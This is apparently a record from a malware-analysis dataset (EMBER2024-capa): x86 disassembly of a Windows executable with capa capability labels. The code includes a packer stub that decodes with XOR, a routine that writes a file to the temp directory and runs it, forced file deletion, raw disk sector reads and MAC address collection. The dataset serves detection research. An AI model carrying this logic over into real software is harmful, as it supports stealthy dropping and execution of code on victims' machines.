joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4010a0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x43c130
push 0x67
push esi
call edi
push 0x64
push 0x43c068
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00401250
mov eax, dword [ebp + 0x10]
mov edx, 0x43cc38
sub edx, eax
mov edi, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x4010f0
call fcn.00403cc0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
mov dword [0x438f90], eax
call edi
call fcn.004015f0
test eax, eax
je 0x40112c
call fcn.00403360
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call fcn.004020e0
add esp, 4
test eax, eax
jne 0x40114f
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
call fcn.0041563c
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00417c90
mov eax, dword [0x43c880]
add esp, 0xc
test eax, eax
jbe 0x4011a1
cmp word [0x43c884], 0
jbe 0x4011a1
push eax
mov esi, 0x4394d8
call fcn.00403c40
mov dx, word [0x43c884]
add esp, 4
mov word [0x4394e8], dx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push 0x432bc8
mov edx, 0x43ce40
call fcn.00403340
call fcn.00402b80
lea esi, [esp + 0x10]
call fcn.00403500
push 0x432be0
mov edx, esi
push 0x104
push edx
call fcn.00415834
add esp, 0x14
push 0x43ce40
mov eax, esi
push 0x104
push eax
call fcn.00415834
add esp, 0xc
mov ecx, esi
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401231
push 0x1f4
call edi
push 1
push 0
push 0x432be4
mov edx, esi
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call edi
call fcn.004028e0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401520
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x432c50
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.00415a47
add esp, 0xc
test eax, eax
je 0x401544
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.00415b24
mov eax, dword [esp + 0x1c]
push eax
call fcn.00415d46
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov esi, eax
call fcn.00415b24
lea ebp, [esi + 0x32]
push ebp
call fcn.0041569a
mov edx, dword [esp + 0x30]
push edx
push 1
mov edi, eax
push esi
push edi
call fcn.00416054
mov eax, dword [esp + 0x40]
push eax
call fcn.004160e8
lea ebx, [edi + esi]
mov eax, 0x32
call fcn.00403ff0
mov ecx, dword [esp + 0x4c]
push 0x432c58
push ecx
lea edx, [esp + 0x4c]
push edx
call fcn.00415a47
add esp, 0x40
test eax, eax
je 0x4015c2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x10]
push eax
push 1
push ebp
push edi
call fcn.004162c6
mov ecx, dword [esp + 0x20]
push ecx
call fcn.004160e8
add esp, 0x14
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x402640
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
push edi
push ebx
mov edi, eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402671
mov eax, ebx
call fcn.00403dc0
cmp eax, edi
jne 0x402671
lea eax, [esi + 1]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push 0x200000
call fcn.0041569a
mov ebp, eax
mov eax, dword [esp + 0x28]
add esp, 4
push ebp
push eax
lea edx, [esp + 0x1c]
mov ecx, edi
mov dword [esp + 0x1c], 0x200000
call fcn.00406ee0
add esp, 8
test eax, eax
je 0x40273c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00416348
add esp, 4
call fcn.0041635a
mov dword [esp + 0x18], eax
fild dword [esp + 0x18]
fmul qword [0x4334c0]
fmul qword [0x4334e8]
fadd qword [0x4334e0]
call fcn.004199b0
mov esi, dword [esp + 0x14]
lea ebx, [esi + ebp]
mov edi, eax
call fcn.00403ff0
add edi, esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
call fcn.00406e60
mov esi, eax
cmp esi, 0xffffffff
je 0x40273a
push ebx
lea ecx, [esp + 0x1c]
push ecx
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [esp + 0x18]
cmp eax, edi
jne 0x402719
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 1
jne 0x40273a
push ebp
mov esi, ebx
call fcn.00415764
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor esi, esi
push ebp
call fcn.00415764
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x402c80
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x434
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x42c], eax
mov eax, dword [esp + 0x43c]
push ebx
push ebp
mov ebp, dword [esp + 0x440]
push esi
push edi
push eax
mov ecx, ebp
call fcn.004065a0
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
jne 0x402e3f
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x32]
push edx
mov word [esp + 0x34], cx
call fcn.00417c90
add esp, 0xc
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x23a]
push ecx
mov word [esp + 0x23c], ax
call fcn.00417c90
add esp, 0xc
lea esi, [esp + 0x28]
call fcn.00403500
push 0x43321c
mov edx, esi
push 0x104
push edx
call fcn.00415834
xor eax, eax
lea ebx, [esp + 0x20]
add esp, 0xc
mov byte [esp + 0x14], 0
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov word [esp + 0x25], ax
mov byte [esp + 0x27], al
mov esi, 0x43c208
sub ebx, 0x43c30c
cmp word [esi], 0
je 0x402db7
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x234]
push 0x104
push ecx
call fcn.004158b1
add esp, 0xc
push esi
lea edx, [esp + 0x234]
push 0x104
push edx
call fcn.00415834
lea eax, [esp + 0x23c]
add esp, 0xc
push eax
lea edi, [esp + 0x18]
call fcn.00405bc0
add esp, 4
test eax, eax
je 0x402db7
mov ecx, 0x14
lea eax, [esi + 0x104]
lea ecx, [ecx]
mov edx, dword [ebx + eax]
cmp edx, dword [eax]
jne 0x402db7
sub ecx, 4
add eax, 4
cmp ecx, 4
jae 0x402da0
xor eax, eax
mov word [esi], ax
add esi, 0x118
sub ebx, 0x118
cmp esi, 0x43c780
jl 0x402d44
mov edi, dword [esp + 0x44c]
mov esi, 0x43c208
jmp 0x402de0
cmp word [esi], 0
je 0x402dfe
mov ecx, dword [esi + 0x100]
mov dword [0x43c1fc], ecx
push edi
push ebp
mov ecx, esi
call fcn.004067a0
add esp, 8
add esi, 0x118
cmp esi, 0x43c780
jl 0x402de0
push 0x43ce40
lea edx, [esp + 0x2c]
push 0x104
push edx
call fcn.00415834
add esp, 0xc
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x402e3b
mov dword [esp + 0x10], 2
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x43c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041563c
add esp, 0x434
ret
Function at 0x402fa0
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x68c
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x684], eax
push ebx
push ebp
push esi
push edi
push 0x4332a8
push 0x4332ac
call fcn.00416440
mov esi, eax
add esp, 8
test esi, esi
je 0x402ff8
push 0
push 0x2580
push esi
call fcn.00415b24
add esp, 0xc
push esi
push 5
push 1
push 0x4332b8
call fcn.004162c6
push esi
call fcn.004160e8
add esp, 0x14
cmp byte [0x43c78b], 1
jne 0x403176
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x492]
push ecx
mov word [esp + 0x494], ax
call fcn.00417c90
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0xc
push 0x4332c0
mov dword [esp + 0x18], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
je 0x40307e
test al, 1
je 0x403058
xor eax, 1
test al, 4
je 0x40305f
xor eax, 4
test al, 2
je 0x403066
xor eax, 2
test al, 0x20
je 0x40306d
xor eax, 0x20
push eax
push 0x4332c0
call edi
push 0x4332c0
call ebx
call ebp
push 0x4332dc
call esi
cmp eax, 0xffffffff
je 0x4030b7
test al, 1
je 0x403091
xor eax, 1
test al, 4
je 0x403098
xor eax, 4
test al, 2
je 0x40309f
xor eax, 2
test al, 0x20
je 0x4030a6
xor eax, 0x20
push eax
push 0x4332dc
call edi
push 0x4332dc
call ebx
call ebp
push 0x433308
call esi
cmp eax, 0xffffffff
je 0x4030f0
test al, 1
je 0x4030ca
xor eax, 1
test al, 4
je 0x4030d1
xor eax, 4
test al, 2
je 0x4030d8
xor eax, 2
test al, 0x20
je 0x4030df
xor eax, 0x20
push eax
push 0x433308
call edi
push 0x433308
call ebx
call ebp
push 0x104
lea edx, [esp + 0x48c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 0x488]
sub eax, 0x41
push eax
lea ebx, [esp + 0x18]
call fcn.00404470
mov ebx, dword [esp + 0x18]
add esp, 4
call fcn.004042f0
mov edi, eax
cmp edi, 0xffffffff
je 0x403176
lea esi, [esp + 0x250]
call fcn.004047b0
test eax, eax
je 0x403176
mov ecx, edi
call fcn.004031f0
mov ecx, 0x8d
lea edi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x250]
push 0x236
lea edx, [esp + 0x1c]
push edx
movsw word es:[edi], word [esi]
push 0x1e
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], 0x5042475f
call fcn.00404280
add esp, 0xc
mov ecx, dword [esp + 0x694]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041563c
add esp, 0x68c
ret
Function at 0x4031f0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x22c
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x224], eax
push ebx
push ebp
push esi
xor eax, eax
push edi
xor ebp, ebp
mov edi, ecx
mov dword [esp + 0x10], 1
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ebp
cmp edi, 0xffffffff
je 0x40325a
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x2c]
push ecx
push 0x200
lea edx, [esp + 0x3c]
push edx
push edi
mov dword [esp + 0x30], ebp
mov dword [esp + 0x34], ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebp
jne 0x403261
xor eax, eax
jmp 0x403320
lea esi, [esp + 0x30]
call fcn.00404920
test eax, eax
jne 0x40331c
mov eax, dword [esp + 0x30]
mov byte [esp + 0x28], 0x33
mov byte [esp + 0x29], 0xf6
mov byte [esp + 0x2a], 0xb8
mov byte [esp + 0x2b], 0x40
cmp eax, dword [esp + 0x28]
jne 0x40330e
cmp byte [esp + 0x34], 7
jne 0x40330e
cmp byte [esp + 0x35], 0x8e
jne 0x40330e
mov eax, esi
call fcn.00403190
mov ebx, eax
cmp ebx, ebp
jne 0x4032b1
mov dword [esp + 0x10], ebp
jmp 0x40331c
lea ecx, [esp + 0x30]
push ecx
push ebx
mov eax, 1
call fcn.00404080
add esp, 8
test eax, eax
je 0x40325a
lea esi, [esp + 0x30]
call fcn.00404920
cmp eax, 1
je 0x40331c
mov edx, esi
push edx
lea eax, [ebx + 1]
push eax
mov eax, 1
call fcn.00404080
add esp, 8
test eax, eax
je 0x40325a
cmp byte [esp + 0x30], 0x56
jne 0x40325a
push ebx
mov ecx, edi
call fcn.00404860
add esp, 4
mov dword [esp + 0x10], eax
jmp 0x40331c
mov esi, edi
call fcn.004043b0
mov ecx, edi
call fcn.004049c0
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x234]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041563c
add esp, 0x22c
ret
Function at 0x403360
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x310], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x4334b0
lea ecx, [esp + 8]
push 0x104
push ecx
call fcn.0041685b
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x210]
push 0x104
push ecx
call fcn.004167a8
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.00416810
add esp, 0x14
test eax, eax
je 0x4033eb
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4034e7
mov eax, 0x439550
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403420
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403437
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x10]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403450
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.0040b20c
push edi
mov esi, eax
push 0
push esi
call fcn.00417c90
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push edx
mov eax, edx
push eax
push 0x439550
push edi
push esi
call fcn.0041683d
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4034a0
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push 0x432b68
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x4034e5
push esi
call fcn.0040b201
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x314]
pop ebx
xor ecx, esp
call fcn.0041563c
add esp, 0x314
ret
Function at 0x403560
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x70
or eax, 0xffffffff
push ebx
mov ebx, 1
push ebp
push esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x74], eax
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x18], ebx
call fcn.0041635a
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x4334c0]
fadd qword [0x4334d8]
call fcn.004199b0
mov ebp, eax
xor esi, esi
xor edi, edi
test ebp, ebp
jle 0x403680
call fcn.0041635a
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x4334c0]
fmul qword [0x4334d0]
fadd qword [0x4334c8]
call fcn.004199b0
mov ecx, eax
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jle 0x403668
lea esp, [esp]
add ecx, ebx
cmp ecx, 0x1a
jne 0x403659
xor ecx, ecx
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jg 0x403650
add esi, dword [esp + ecx*4 + 0x18]
mov eax, dword [esp + 0x84]
add ecx, 0x61
mov word [eax + edi*2], cx
add edi, ebx
cmp edi, ebp
jl 0x403617
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x70
ret

Function at 0x403690
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [esp + 0x10]
mov edi, eax
mov eax, dword [esp + 0x14]
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x4036f8
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edx, dword [esp + 0x18]
push esi
mov ebx, eax
mov dword [edx], esi
call fcn.0040b20c
push esi
mov edi, eax
push 0
push edi
call fcn.00417c90
push esi
push ebx
push edi
call fcn.0041d1f0
add esp, 0x1c
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x403880
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 0x3c
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x40]
push ebx
push ebp
push esi
mov esi, edx
mov dword [esp + 0x18], eax
xor eax, eax
xor edx, edx
push 0x288
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], ecx
mov dword [esp + 0x10], 0xffffffff
mov word [esp + 0x28], dx
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov dword [esp + 0x3e], eax
mov dword [esp + 0x42], eax
mov word [esp + 0x46], ax
xor ebx, ebx
call fcn.0041569a
mov ebp, eax
add esp, 4
lea eax, [esp + 0x10]
push eax
push ebp
mov dword [esp + 0x18], 0x288
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x403913
push ebp
call fcn.00415764
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0041569a
add esp, 8
mov ebp, eax
lea edx, [esp + 0x10]
push edx
push ebp
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x4039f7
mov eax, ebp
mov dword [esp + 0x14], ebp
test ebp, ebp
je 0x4039f7
push edi
jmp 0x403944
mov eax, dword [esp + 0x18]
inc dword [esp + 0x10]
test esi, esi
je 0x40395f
mov ecx, dword [eax + 0x194]
mov dword [esi], ecx
mov dx, word [eax + 0x198]
mov word [esi + 4], dx
lea edi, [eax + 0x1ac]
test edi, edi
je 0x4039e4
lea esp, [esp]
lea edx, [edi + 4]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403978
sub eax, esi
mov ecx, eax
cmp ecx, 0x10
jle 0x40398d
mov ecx, 0x10
xor eax, eax
test ecx, ecx
jl 0x4039ad
cmp eax, ecx
jne 0x40399e
xor esi, esi
mov word [esp + eax*2 + 0x28], si
movsx si, byte [edx + eax]
mov word [esp + eax*2 + 0x28], si
inc eax
cmp eax, ecx
jle 0x403995
lea eax, [esp + 0x28]
push eax
call fcn.00403ac0
add esp, 4
test eax, eax
je 0x4039d5
mov edx, dword [esp + 0x1c]
mov eax, dword [edx + ebx*4]
lea ecx, [esp + 0x28]
push ecx
push 0x10
push eax
call fcn.004158b1
add esp, 0xc
mov edi, dword [edi]
inc ebx
test edi, edi
jne 0x403970
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x24]
test ebx, ebx
jg 0x4039f6
mov eax, dword [eax]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x403940
pop edi
mov ecx, dword [esp + 0x1c]
mov dword [ecx], ebx
test ebp, ebp
je 0x403a0a
push ebp
call fcn.00415764
add esp, 4
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041563c
add esp, 0x3c
ret
Function at 0x403cc0
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x11c], eax
push esi
push 0x118
xor esi, esi
lea eax, [esp + 0xc]
push esi
push eax
call fcn.00417c90
add esp, 0xc
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x403d99
mov eax, dword [esp + 8]
cmp eax, 5
jne 0x403d65
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x403d3e
cmp word [esp + 0x118], 4
jb 0x403d99
mov esi, 1
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0041563c
add esp, 0x120
ret
cmp eax, 2
jae 0x403d48
cmp eax, 1
jne 0x403d99
mov esi, 3
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0041563c
add esp, 0x120
ret
cmp eax, 6
jne 0x403d99
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x403d8f
mov esi, 4
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0041563c
add esp, 0x120
ret
cmp eax, 1
jne 0x403d99
mov esi, 5
mov ecx, dword [esp + 0x120]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0041563c
add esp, 0x120
ret

Function at 0x403dc0
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push connect
or edi, 0xffffffff
push eax
or ebx, edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, edi
jne 0x403df2
or eax, edi
or edx, edi
pop edi
pop esi
pop ebx
add esp, 0x10
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x403e0b
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
add esp, 0x10
ret

Function at 0x403f50
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00417c90
add esp, 0xc
cmp dword [0x438f90], 3
jne 0x403fb0
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x432200
lea eax, [esp + 4]
push 0x104
push eax
call fcn.00415834
add esp, 0xc
jmp 0x403fbf
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push 0x432204
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.0041563c
add esp, 0x20c
ret

Function at 0x404080
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
push esi
mov esi, eax
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 4], eax
cmp edi, 0xffffffff
je 0x4040d4
mov eax, dword [esp + 0x20]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x14], edx
lea edx, [esp + 8]
push edx
mov dword [esp + 0x14], eax
lea eax, [esp + 8]
push eax
shl esi, 9
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
add esp, 0x18
ret